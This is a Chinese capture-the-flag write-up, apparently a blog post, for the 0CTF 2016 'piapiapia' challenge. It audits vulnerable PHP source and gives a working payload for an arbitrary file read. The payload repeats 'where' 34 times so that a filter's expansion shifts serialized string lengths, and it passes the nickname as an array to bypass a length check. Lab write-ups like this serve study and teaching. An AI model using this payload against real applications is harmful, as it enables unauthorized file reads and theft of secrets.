[0CTF 2016]piapiapia 详细解题思路及做法

前言

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

题目

在这里插入图片描述
进去是一个登陆界面,尝试sql注入,发现没什么用,但又没有其他功能了,只能扫描看看有没有源码泄露
在这里插入图片描述
这边用的是dirsearch,可以扫描出www.zip文件,但在BUUCTF里面做题需要设置延迟参数-x,不然扫描太快就全是返回429状态码。
在www.zip提供的源码里面主要有:
index.php、profile.php、register.php、update.php、class.php、config.php
其中config.php里面表明了flag,说明我们的目标是读取config.php文件。
接着我们看到有register.php,表明我们可以注册!
在这里插入图片描述
注册完登录进去后便是进入update.php文件,该功能是收集信息
在这里插入图片描述
最后在porfile.php里面显示收集到的信息
基本功能就了解好了,我们就可以去审计他们的代码
首先看看update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

主要看到有一堆正则过滤了收集到的信息,最后序列化作为update_profile的参数
那我们全局搜索class.php找到update_profile函数

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

我们再去它的父类找到filter与update函数

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	
public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

filter函数的作用是将update_profile函数的参数用正则再过滤了一遍
update函数的作用则是将它存放到了mysql数据库当中
我们再看profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

显而易见,该php想实现的功能既是将数据反序列化并读出来。
看到这里不难看出,我们需要利用序列化过程来完成读取config.php的操作。
我们先看以下代码:
序列化数组

<?php
$a = array('123', 'abc', '4567','defg');
var_dump(serialize($a));
?>

输出结果为

string(64) "a:4:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"4567";i:3;s:4:"defg";}"

反序列化该数据

<?php
$a ='a:4:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"4567";i:3;s:4:"defg";}';
var_dump(unserialize($a));
?>

输出结果为

array(4) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "4567" [3]=> string(4) "defg" }

该操作就如本题的流程一般,但我们却能修改序列化的数据,以达到读取任意文件操作,如下:

<?php
$a ='a:4:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"4567";i:3;s:5:"ccccc";}i:3;s:4:"defg";}';
var_dump(unserialize($a));
?>

结果如下:

array(4) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "4567" [3]=> string(5) "ccccc" }

会发现,恶意闭合添了数据,后面的数据被丢弃了,我们可以利用这样的方式来读取文件。
如果用这样的方式,将原本的photo给丢弃,则需要在nickname的值后写入";}s:5:"photo";s:10:"config.php";},但nickname却在被序列化前,被strlen函数限制只能小于10长度。该函数可以用数组来进行绕过,只需要在提交前把nickname写成数组即可绕过。
但这里还有一个问题,如果直接在它的值后传入";}s:5:"photo";s:10:"config.php";},序列化后,整一个字符串都会被当成为nickname的值,并不会顶掉photo。因为在序列化时,它会计算该字符串的长度,并写入到序列化字符串中加以表示。在反序列化后,它会按照该长度来取值,则达不到我们想要的效果。
我们看到filter函数,序列化后,字符串会经过该函数的过滤,这种过滤看似很安全,实则更加危险,假如在nickname值中,正常传入where,filter函数则会将其替换成hacker,则实际字符串会多出一位。";}s:5:"photo";s:10:"config.php";}这串字符串有34位,如果能够将nickname顶出正好34位,就能够突破原本序列化时指定的位数,达到恶意修改数据读取任意文件的效果。而我们仅仅需要的是将where连写34次。
修改nickname的值:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

细节的老哥可能就发现了";}s:5:"photo";s:10:"config.php";}它比原本预期的答案前面多了一个},因为将nickname改为数组时,它在序列化时不会像字符一样闭合,所以要加多一个}

注册后登陆,填写信息抓包修改nickname
在这里插入图片描述
然后放包去查看信息,将img内的base64码解码获得flag。
在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值